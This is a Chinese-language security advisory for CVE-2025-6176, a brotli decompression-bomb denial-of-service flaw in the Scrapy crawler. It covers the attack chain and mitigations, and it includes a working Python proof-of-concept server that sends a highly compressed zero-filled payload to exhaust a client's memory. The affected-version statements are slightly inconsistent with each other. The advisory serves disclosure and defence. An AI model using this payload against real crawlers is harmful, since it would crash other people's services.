IPBUF安全漏洞报告
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CVE-2025-6176 CVSS 7.5 高危

CVE-2025-6176 Scrapy brotli解压拒绝服务漏洞

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-6176
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Scrapy

相关标签

拒绝服务解压炸弹brotli内存耗尽ScrapyPythonCVE-2025-6176网络爬虫HTTP压缩

漏洞概述

Scrapy是一款流行的Python开源网络爬虫框架,广泛应用于数据采集、搜索引擎构建、自动化测试等领域。该框架支持多种HTTP压缩格式以优化网络传输效率,其中包括brotli压缩算法。然而,Scrapy 2.13.2及之前版本在处理brotli压缩格式时存在严重的安全漏洞,攻击者可利用该漏洞发起拒绝服务攻击,导致目标系统崩溃。漏洞的根本原因在于Scrapy虽然针对传统的zip炸弹攻击(如zipbomb、gzipbomb)实现了防护机制,但未能针对brotli压缩格式的特殊压缩特性提供等效保护。brotli算法在处理零填充数据时能够达到极高的压缩比(理论上可超过1800:1),攻击者只需传输极小的恶意压缩数据即可触发大量的内存分配,最终耗尽服务器资源。研究表明,攻击者利用此漏洞可在少于80GB可用内存的系统上成功发起DoS攻击,这对于大多数云服务器和个人开发者环境而言都是极易达成的条件。由于Scrapy常用于自动化数据采集任务,该漏洞可能影响大量使用Scrapy进行生产环境数据抓取的组织和个人。

技术细节

该漏洞属于解压炸弹攻击的brotli变种。在传统防护机制中,Scrapy通过限制解压后的数据大小与压缩数据大小的比率来防止zip炸弹攻击。然而,brotli算法采用先进的熵编码和字典压缩技术,对特定类型数据(特别是零填充数据)具有极高的压缩效率。当Scrapy接收到经过brotli压缩的恶意响应时,解压过程会分配大量内存用于存储解压后的数据。具体攻击流程如下:1) 攻击者搭建恶意HTTP服务器;2) 服务器返回经过精心构造的brotli压缩数据,该数据解压后体积可达到原始传输量的数百甚至数千倍;3) Scrapy客户端在不知情的情况下对数据进行解压;4) 解压过程消耗大量内存资源;5) 当内存消耗超过系统限制时,触发OutOfMemoryError或系统OOM Killer,导致进程崩溃。由于brotli压缩的高效性,攻击者只需上传几十KB的恶意数据即可触发数GB甚至数十GB的内存分配。Scrapy的brotli解压实现位于HTTP响应处理模块,当启用自动解压功能时,所有经过brotli压缩的响应都会被自动处理,从而触发漏洞。攻击者可以利用任何需要Scrapy抓取的合法场景(如RSS订阅、API调用等)作为攻击向量。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意HTTP服务器,托管经过brotli压缩的恶意数据。该数据包含大量零字节,解压后体积可扩大数百倍。
STEP 2
步骤2
攻击者诱使受害者使用Scrapy爬虫访问恶意服务器,可通过在爬虫配置中添加恶意URL或劫持合法请求响应实现。
STEP 3
步骤3
Scrapy客户端发送HTTP请求到恶意服务器,服务器返回带有Content-Encoding: br头部的响应数据。
STEP 4
步骤4
Scrapy的响应处理模块自动对brotli压缩数据进行解压,触发brotli_decompress函数,将小体积压缩数据解压为大体积原始数据。
STEP 5
步骤5
解压过程分配大量内存用于存储解压后的数据,导致内存消耗急剧上升,触发系统OOM Killer或进程崩溃。
STEP 6
步骤6
受害者的Scrapy爬虫进程终止,数据采集任务中断,如果爬虫作为服务运行可能导致整个服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-6176 PoC - Scrapy Brotli Decompression DoS This PoC demonstrates how a malicious server can cause Scrapy to consume excessive memory by sending a specially crafted brotli-compressed response. """ import http.server import brotli import os import threading class MaliciousHandler(http.server.BaseHTTPRequestHandler): """Handler that serves malicious brotli-compressed content""" def do_GET(self): # Generate zero-filled data (highly compressible by brotli) # A small amount of data expands to huge size during decompression original_data = b'\x00' * (50 * 1024 * 1024) # 50MB of zeros # Compress with brotli - achieves extreme compression ratio compressed_data = brotli.compress(original_data) print(f"[+] Original size: {len(original_data)} bytes") print(f"[+] Compressed size: {len(compressed_data)} bytes") print(f"[+] Compression ratio: {len(original_data)/len(compressed_data):.1f}:1") # Send response with brotli encoding self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Encoding', 'br') self.send_header('Content-Length', len(compressed_data)) self.end_headers() self.wfile.write(compressed_data) def log_message(self, format, *args): pass def start_malicious_server(port=8888): """Start the malicious HTTP server""" server = http.server.HTTPServer(('0.0.0.0', port), MaliciousHandler) print(f"[+] Malicious server running on port {port}") server.serve_forever() def test_with_scrapy(): """ Test case using Scrapy to demonstrate the vulnerability Run this in a separate process after starting the malicious server """ import scrapy from scrapy.crawler import CrawlerProcess class VulnerableSpider(scrapy.Spider): name = 'vulnerable_spider' start_urls = ['http://localhost:8888/'] def parse(self, response): self.logger.info(f"Received response: {len(response.body)} bytes") process = CrawlerProcess() process.crawl(VulnerableSpider) process.start() if __name__ == '__main__': # Start malicious server in background thread server_thread = threading.Thread(target=start_malicious_server, daemon=True) server_thread.start() print("\n[!] This PoC demonstrates the vulnerability.") print("[!] In real attack scenarios, the attacker controls the server") print("[!] and tricks Scrapy clients into fetching the malicious content.") print("[!] The decompression will consume excessive memory.") # Keep server running try: server_thread.join() except KeyboardInterrupt: pass

影响范围

Scrapy < 2.13.2
Scrapy 2.0.0 - 2.13.2

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 限制Scrapy爬虫的并发数量和总内存使用量;2) 对来自不可信来源的HTTP响应实施严格的Content-Length和Content-Encoding校验;3) 在爬虫中间件中实现自定义的解压大小限制逻辑,拒绝处理解压后超过预期大小的响应;4) 使用应用层防火墙过滤异常的HTTP响应;5) 监控Scrapy进程的内存使用情况,设置告警阈值。需要注意的是,这些措施可能影响爬虫的正常功能,建议尽快升级到官方修复版本。

参考链接

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